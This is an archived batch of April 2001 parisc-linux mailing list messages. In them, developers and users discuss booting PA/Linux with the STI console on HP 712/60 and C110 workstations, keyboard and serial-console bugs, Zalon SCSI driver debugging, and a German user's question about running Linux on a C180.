	by dsl2.external.hp.com (Postfix) with ESMTP id 51D79482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 03:36:26 -0600 (MDT)
Original-Received: from mxdk.dk.tellabs.com (mxdk.dk.tellabs.com [172.19.74.16])
	by mx.tellabs.fi (8.8.8/8.8.8) with ESMTP id MAA11649
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 12:36:20 +0300 (EET DST)
Original-Received: from tellabs.com (pc-rtheande.dk.tellabs.com [172.19.63.58])
	by mxdk.dk.tellabs.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id LAA00548
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 11:28:14 +0200 (METDST)
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10914

Hi,

Running the 32 bit STI on a 712/60 looks good. No boot problems. Nice display.
palo is giving me some trouble, so I'm not booting from HD yet.
Not all scancodes are recognized, and vi panics the kernel when hitting ESC
(this is very annoying). Some other kernel panics are probably also caused by
the keyboard.

Looking forward to running X...

Regards,
Robin.

"Witvliet, Hans" wrote:
> A quick try of the 32 bits version with STI console on a C110.
> After booting from cdrom, i get startup info and the message switching to
> STI. (looks very promissing..)
> Again some more messages and a login prompt.
> There it stops, the system does not read input from my keyboard, so can not
> login....
> 
> Will try on other systems later...




From - Thu Nov 08 21:17:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matthew van de Werken" <mvdw73@one.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] How do I use the FW scsi on 735?
Date: Wed, 25 Apr 2001 19:48:51 +1000
Lines: 69
Approved: news@gmane.org
Message-ID: <010d01c0cd6c$f2200280$1401a8c0@peewee>
References: <A8566E157F5FD411BCFB00D0B7816D51C7294A@ntexchange.cat.csiro.au> <20010423220846.O985@linuxcare.com> <002301c0cd1d$a6d3add0$1401a8c0@peewee> <20010425091204.J985@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620076 18619 80.91.229.3 (22 Nov 2014 01:34:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:36 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Richard Hirst" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 03:44:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob05.one.net.au (mail-ob05.one.net.au [61.12.0.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DBAE482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 03:44:39 -0600 (MDT)
Original-Received: Received: [from peewee ([203.101.61.197])
	by mail-ob05.one.net.au  with SMTP id f3P9huW01561;
	Wed, 25 Apr 2001 19:43:57 +1000 (EST)]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:10915

Hi Richard:

I'm a little bit of a beginner at all this kernel hacking business (well, a
rank beginner would be more accurate)...

What I'll do is turn on the verbose SCSI error reporting, and the SCSI
logging facility and try again.

I''l have to do a 'man printk' to have a look at what that function's syntax
is, then take it from there.

Cheers,
MvdW [who, despite lack of total success is having a lot of fun...]



----- Original Message -----
From: "Richard Hirst" <rhirst@linuxcare.com>
To: "Matthew van de Werken" <mvdw73@one.net.au>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Wednesday, April 25, 2001 6:12 PM
Subject: Re: FW: [parisc-linux] How do I use the FW scsi on 735?


> On Wed, Apr 25, 2001 at 10:21:17AM +1000, Matthew van de Werken wrote:
> > Hi Richard:
> >
> > I added the patch (I assume I added it correctly - the resulting vmlinux
was
> > different), and ran the new kernel, with no change. The FW scsi is still
not
> > recognised.
>
> Shame :(  The Zalon driver is the one you are interested in.  My B180
> with a Bluefish (Zalon based) FWD card runs the sim700, zalon, and
> sym53c8xx drivers all at the same time, no problem.
>
> It's possible I got the parameters wrong in my patch; the aim is to
> cause drivers/scsi/zalon7xx.c:zalon_scsi_callback() to get called
> for your interface.  It could be that is getting called but failing
> for some reason.  If it is called, you should at least be getting
> a line
>
>         ......: Zalon vers field is ......
>
> output on boot.
>
> If you don't see that, perhaps you can investigate by adding a few
> printk()'s to see what I got wrong.
>
> zalon7xx_detect() is surely getting called, and that uses
register_driver()
> in arch/parisc/kernel/drivers.c to try and match your cards parameters
> against one of the entries in zalon_scsi_drivers[].  Try and figure out
> why that match is not succeeding for your scsi interface.
>
> Richard
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>





From - Thu Nov 08 21:17:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA/Linux iso 0.6 is out!
Date: Wed, 25 Apr 2001 11:53:40 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <3AE69EA4.1A4A39C@esiee.fr>
References: <1A8904C3797ED411AC2E0008C7E6F88117C843@nlntmail2b.ats.nld.alca> <3AE698F1.99733EE5@tellabs.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620076 18622 80.91.229.3 (22 Nov 2014 01:34:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Robin Theander <Robin.Theander@tellabs.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 03:45:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA378482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 03:45:44 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 9B2FED166C; Wed, 25 Apr 2001 11:45:43 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10916

Hi Robin,

	We are aware of this trouble. We are currently working on that! We hope that
will soon be fixed. We are looking at SC_LIM in driver/char/hp_keyb.c, here. If
anybody has a good idea on it...

Bye, Thomas
ESIEE Team




From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug in kernel: console support STI/serial
Date: Wed, 25 Apr 2001 12:58:59 +0200
Organization: AAA
Lines: 51
Approved: news@gmane.org
Message-ID: <3AE6ADF3.92D612FE@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620077 18625 80.91.229.3 (22 Nov 2014 01:34:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 04:59:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 335CE482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 04:59:20 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id MAA21825
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 12:58:59 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10917

Hello PA-RISCers !

I tried the STI console for the first time on a 712/60
workstation but found a problem in handling console
devices.

I compiled the kernel with SUPPORT for both consoles,
the serial and the STI.

Per definition:
---------------
If no `console=xxx' the default is `tty0', and the
"current" virtual console is used.

The user can also select the console via command line
parameter for kernel: `console=ttyS0' for example for
the serial console.

Problem:
--------
On the current kernel, if I do not use the `console='
parameter, the kernel does following:

Boot,...
Output:
  Switching from PDC console ...

And now on the serial line !!!!! the output:
  Switching to STI console ....

Here is the error: Linux know's, it must use the STI
but uses the serial console.

I have not analysed the code fully, yet. Dependent on
my spare time, I can deliver a bug fix or point out the 
position of the wrong code.

------

By the way: How can I set the 712/60 to use serial
PCD console (command `path' does not work for console !)

Cheers
	Christoph P.

------------------------------------------------------------
private:  christoph.plattner@gmx.at
company:  christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] PA/Linux iso 0.6 is out!
Date: Wed, 25 Apr 2001 13:17:25 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C844@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620077 18627 80.91.229.3 (22 Nov 2014 01:34:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Xavier Debacker'" <xavier.debacker@esiee.net>,
	"Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 05:18:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B554482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 05:18:21 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f3PBHai23585;
	Wed, 25 Apr 2001 13:17:37 +0200 (MET DST)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <JC8BY4YV>; Wed, 25 Apr 2001 13:17:35 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10918

Hi Xavier,

Both keyboard and mouse on C110 are "PS/2"
Before switching to STI, keyboard works OK, (as i have to interupt boot
sequence, perfrom a SEArch and a BOot P2 (in my case)

Hans.


> -----Original Message-----
> From:	Xavier Debacker [SMTP:xavier.debacker@esiee.net]
> Sent:	Wednesday, April 25, 2001 11:22 AM
> To:	Witvliet, Hans
> Cc:	parisc-linux@lists.parisc-linux.org
> Subject:	Re: [parisc-linux] PA/Linux iso 0.6 is out!
>=20
> "Witvliet, Hans" a =E9crit :
>=20
> > Hi all,
> >
> > A quick try of the 32 bits version with STI console on a C110.
> > After booting from cdrom, i get startup info and the message =
switching
> to
> > STI. (looks very promissing..)
> > Again some more messages and a login prompt.
> > There it stops, the system does not read input from my keyboard, so =
can
> not
> > login....
> >
> > Will try on other systems later...
> >
> > Hans.
>=20
> Hi Hans,
>=20
> Do you use HIL or PS/2 Keyboard ?
>=20
> Only PS/2 keyboard is supported.
>=20
> Xavier.
>=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hinkelbv@t-online.de (pop.btx.dtag.de)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anfrage zu Risc
Date: Wed, 25 Apr 2001 13:59:20 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <000701c0cd7f$2bcefce0$0601a8c0@PC006>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0004_01C0CD8F.ECF3EC40"
X-Trace: ger.gmane.org 1416620077 18630 80.91.229.3 (22 Nov 2014 01:34:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 06:01:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout00.sul.t-online.com (mailout00.sul.t-online.com [194.25.134.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E763482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 06:01:28 -0600 (MDT)
Original-Received: from fwd07.sul.t-online.com 
	by mailout00.sul.t-online.com with smtp 
	id 14sNyz-0000MB-05; Wed, 25 Apr 2001 14:01:21 +0200
Original-Received: from PC006 (06101585100-0001@[62.226.181.116]) by fwd07.sul.t-online.com
	with smtp id 14sNyq-0Cena4C; Wed, 25 Apr 2001 14:01:12 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
X-Sender: 06101585100-0001@t-dialin.net
Xref: news.gmane.org gmane.linux.ports.parisc:10919

This is a multi-part message in MIME format.

------=_NextPart_000_0004_01C0CD8F.ECF3EC40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hallo werte RISC-Anwender

Ich habe eine Frage und mache es auch kurz.
Ich habe eine Workstation HP Visualize C180, und kann ich darauf Linux =
laufen lassen?
Kann ich Linux auch ohne die Boot-CD von HP-UX installieren? Und warum =
funktioniert
der Dounload von dem CD-Image mit Endung RAW nicht? Ist dieser =
=FCberhaupt f=FCr meinen
Rechner gedacht? weil der andere ja nicht funktionieren soll!
=DCber eine Antwort w=E4re ich sehr dankbar und w=FCrde mir schon sehr =
viel weiter helfen.
Im Vorraus Danke und beste Gr=FC=DFe von Thomas
meine e-Mail ist: T.Weidisch@t-online.de


------=_NextPart_000_0004_01C0CD8F.ECF3EC40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>Hallo werte=20
RISC-Anwender</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>Ich habe eine Frage und =
mache es auch=20
kurz.</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>Ich habe eine =
Workstation HP=20
Visualize C180, und kann ich darauf Linux laufen lassen?</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>Kann ich Linux auch =
ohne die Boot-CD=20
von HP-UX installieren? Und warum funktioniert</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>der Dounload von dem =
CD-Image mit=20
Endung RAW nicht? Ist dieser &uuml;berhaupt f&uuml;r meinen</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>Rechner gedacht? weil =
der andere ja=20
nicht funktionieren soll!</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>&Uuml;ber eine Antwort =
w&auml;re ich=20
sehr dankbar und w&uuml;rde mir schon sehr viel weiter =
helfen.</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>Im Vorraus Danke und =
beste=20
Gr&uuml;&szlig;e von Thomas</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>meine e-Mail ist: <A=20
href=3D"mailto:T.Weidisch@t-online.de">T.Weidisch@t-online.de</A></FONT><=
/DIV>
<DIV><FONT color=3D#000000 face=3DArial =
size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0004_01C0CD8F.ECF3EC40--





From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug in kernel: console support STI/serial
Date: Wed, 25 Apr 2001 14:05:45 +0200
Organization: AAA
Lines: 61
Approved: news@gmane.org
Message-ID: <3AE6BD99.EF3D973@alcatel.at>
References: <3AE6ADF3.92D612FE@alcatel.at> <3AE6B5FB.5FB7D4FA@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620078 18632 80.91.229.3 (22 Nov 2014 01:34:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 06:05:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60049482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 06:05:55 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id OAA25025;
	Wed, 25 Apr 2001 14:05:45 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10920

Hello,
	thanks for the prompt answer.

First of all Linux supports more than one console,
(defined with commans behind `console='), but this
is not the toppic here.

In a normal (iX86) linux kernel many console supports
can be activated (per config), but only one (!) of these
consoles are used !

So I compiled in support for serial and support for
STI, but I only use STI (default, no `console=' 
parameter used).

The output shows the usage of STI, too. So Linux decide
to use STI, but the output (and input) is done on the
serial console driver. This is really a bug.

The HELP button in for serial console support definitly
"says", that this only activates the support, but the 
serial console is only used, if `console=ttyS0' is
specified.

-----

BTW: Is there anyone who knows how to activate 
serial console on the 712/60 in the PDC console.
Normally "path console" or "path keyboard" can be
used. But not on 712/60 !!

-------

With friendly regards
	Christph Plattner


Thomas Marteau wrote:
> 
> Hi Christoph
> 
>         As far as I know, the kernel is not capable to manage two consoles. But, if you
> want to specify one precisely, you can try to give a console parameter to the
> kernel with "console=tty"
> > By the way: How can I set the 712/60 to use serial
> > PCD console (command `path' does not work for console !)
> >
> > Cheers
> >         Christoph P.
> >
> Good Luck, Thomas
> ESIEE Team

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anfrage zu Risc
Date: Wed, 25 Apr 2001 14:08:16 +0200
Organization: AAA
Lines: 34
Approved: news@gmane.org
Message-ID: <3AE6BE30.D58C5881@alcatel.at>
References: <000701c0cd7f$2bcefce0$0601a8c0@PC006>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620078 18639 80.91.229.3 (22 Nov 2014 01:34:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "pop.btx.dtag.de" <Hinkelbv@t-online.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 06:08:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 274CD482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 06:08:26 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id OAA25154;
	Wed, 25 Apr 2001 14:08:17 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10921

Hallo !

Es ist eine gute Idee, in englisg zu schreiben !
Da ist die ganze Welt vertreten !!

Please us the English language, so everone can 
understand you here !!

With friendly regards
	C. Plattner


> "pop.btx.dtag.de" wrote:
> 
> Hallo werte RISC-Anwender
> 
> Ich habe eine Frage und mache es auch kurz.
> Ich habe eine Workstation HP Visualize C180, und kann ich darauf Linux
> laufen lassen?
> Kann ich Linux auch ohne die Boot-CD von HP-UX installieren? Und warum
> funktioniert
> der Dounload von dem CD-Image mit Endung RAW nicht? Ist dieser
> berhaupt fr meinen
> Rechner gedacht? weil der andere ja nicht funktionieren soll!
> ber eine Antwort wre ich sehr dankbar und wrde mir schon sehr viel
> weiter helfen.
> Im Vorraus Danke und beste Gre von Thomas
> meine e-Mail ist: T.Weidisch@t-online.de
> 

--




From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anfrage zu Risc
Date: Wed, 25 Apr 2001 14:41:26 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <3AE6C5F6.9319EFFF@esiee.fr>
References: <000701c0cd7f$2bcefce0$0601a8c0@PC006> <3AE6BE30.D58C5881@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620078 18641 80.91.229.3 (22 Nov 2014 01:34:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:38 +0000 (UTC)
To: Christoph Plattner <christoph.plattner@alcatel.at>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 06:33:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45A02482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 06:33:31 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 1F317D1674; Wed, 25 Apr 2001 14:33:28 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10922

Tres cher Christoph

Je suis d'accord avec vous... Sinon on ne se comprend
plus!! ;-)

Matthieu

Christoph Plattner wrote:
> 
> Hallo !
> 
> Es ist eine gute Idee, in englisg zu schreiben !
> Da ist die ganze Welt vertreten !!
> 
> Please us the English language, so everone can
> understand you here !!
> 
> With friendly regards
>         C. Plattner
> 
> > "pop.btx.dtag.de" wrote:
> >
> > Hallo werte RISC-Anwender
> >
> > Ich habe eine Frage und mache es auch kurz.
> > Ich habe eine Workstation HP Visualize C180, und kann ich darauf Linux
> > laufen lassen?
> > Kann ich Linux auch ohne die Boot-CD von HP-UX installieren? Und warum
> > funktioniert
> > der Dounload von dem CD-Image mit Endung RAW nicht? Ist dieser
> > berhaupt fr meinen
> > Rechner gedacht? weil der andere ja nicht funktionieren soll!
> > ber eine Antwort wre ich sehr dankbar und wrde mir schon sehr viel
> > weiter helfen.
> > Im Vorraus Danke und beste Gre von Thomas
> > meine e-Mail ist: T.Weidisch@t-online.de
> >
> 
> --
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/




From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anfrage zu Risc
Date: Wed, 25 Apr 2001 18:00:15 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20010425180015.N18464@parcelfarce.linux.theplanet.co.uk>
References: <000701c0cd7f$2bcefce0$0601a8c0@PC006>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620079 18646 80.91.229.3 (22 Nov 2014 01:34:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "pop.btx.dtag.de" <Hinkelbv@t-online.de>, T.Weidisch@t-online.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 11:00:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CBCB4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 11:00:26 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14sSeF-0000VS-00; Wed, 25 Apr 2001 18:00:15 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <000701c0cd7f$2bcefce0$0601a8c0@PC006>; from Hinkelbv@t-online.de on Wed, Apr 25, 2001 at 01:59:20PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10923

On Wed, Apr 25, 2001 at 01:59:20PM +0200, pop.btx.dtag.de wrote:
> Ich habe eine Workstation HP Visualize C180, und kann ich darauf Linux laufen lassen?

"Can I run Linux on my C180?"

Yup, it should work fine.

> Kann ich Linux auch ohne die Boot-CD von HP-UX installieren?
"Can I install Linux without the HPUX Boot CD?'

Yes.

> Und warum funktioniert der Dounload von dem CD-Image mit Endung RAW nicht?

"Why doesn't the CD Image download in raw mode?"

I have no idea :-)  It would help if you said which image you were trying
to download.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
